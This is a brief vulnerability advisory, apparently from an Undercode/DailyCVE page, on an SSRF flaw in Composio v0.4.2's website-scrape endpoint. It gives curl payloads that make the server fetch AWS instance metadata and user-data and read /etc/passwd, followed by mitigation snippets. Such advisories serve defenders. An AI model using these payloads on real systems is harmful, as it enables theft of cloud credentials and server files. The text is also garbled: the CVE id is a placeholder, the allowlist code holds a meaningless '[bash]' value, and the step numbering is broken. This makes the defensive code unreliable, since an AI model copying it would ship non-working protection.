How the Mentioned CVE Works:
The CVE-2025-XXXX vulnerability in Composio v0.4.2 is a Server-Side Request Forgery (SSRF) issue located in the `/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT` endpoint. This endpoint fails to properly validate user-supplied URLs, allowing attackers to craft malicious requests. By exploiting this flaw, an attacker can force the server to make unauthorized internal requests, such as accessing sensitive files, interacting with AWS metadata services, or communicating with local services. This can lead to data exfiltration, service disruption, or further exploitation of internal systems. The vulnerability is particularly dangerous in cloud environments where metadata services are exposed.
DailyCVE Form:
Platform: Composio
Version: v0.4.2
Vulnerability: SSRF
Severity: Moderate
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
- Crafting Malicious URLs: Attackers can send crafted URLs to the vulnerable endpoint to access internal resources.
Example:
curl -X POST http://target.com/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT -d '{"url":"http://169.254.169.254/latest/meta-data/"}'
2. AWS Metadata Access: Exploit the SSRF to retrieve AWS instance metadata.
Example:
curl -X POST http://target.com/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT -d '{"url":"http://169.254.169.254/latest/user-data/"}'
3. Local File Read: Access sensitive files on the server.
Example:
curl -X POST http://target.com/api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT -d '{"url":"file:///etc/passwd"}'
Protection:
- Input Validation: Implement strict validation for user-supplied URLs.
Example (Python):
from urllib.parse import urlparse
def validate_url(url):
allowed_domains = [bash]
parsed_url = urlparse(url)
if parsed_url.hostname not in allowed_domains:
raise ValueError("Invalid URL")
2. Restrict Internal Access: Block requests to internal IP ranges and metadata services.
Example (Firewall Rule):
iptables -A OUTPUT -d 169.254.169.254 -j DROP
3. Use Allowlists: Only allow requests to trusted domains.
Example (Node.js):
const allowedDomains = [bash];
if (!allowedDomains.includes(new URL(url).hostname)) {
throw new Error("Domain not allowed");
}
4. Patch Update: Upgrade to the latest version of Composio where the vulnerability is fixed.
Example:
npm update composio
5. Monitoring and Logging: Monitor suspicious requests and log access to sensitive endpoints.
Example (Logging):
tail -f /var/log/nginx/access.log | grep "WEBTOOL_SCRAPE_WEBSITE_CONTENT"
Analytics:
- Impact: Data exfiltration, service disruption, internal network compromise.
- Attack Vector: Network-based exploitation via crafted HTTP requests.
- Mitigation Complexity: Low to Moderate, depending on existing infrastructure.
- Affected Systems: Cloud-hosted instances with exposed metadata services.
By following these steps, organizations can mitigate the risks associated with CVE-2025-XXXX and protect their systems from SSRF attacks.
References:
Reported By: https://github.com/advisories/GHSA-qvg9-vp87-h3hr
Extra Source Hub:
Undercode
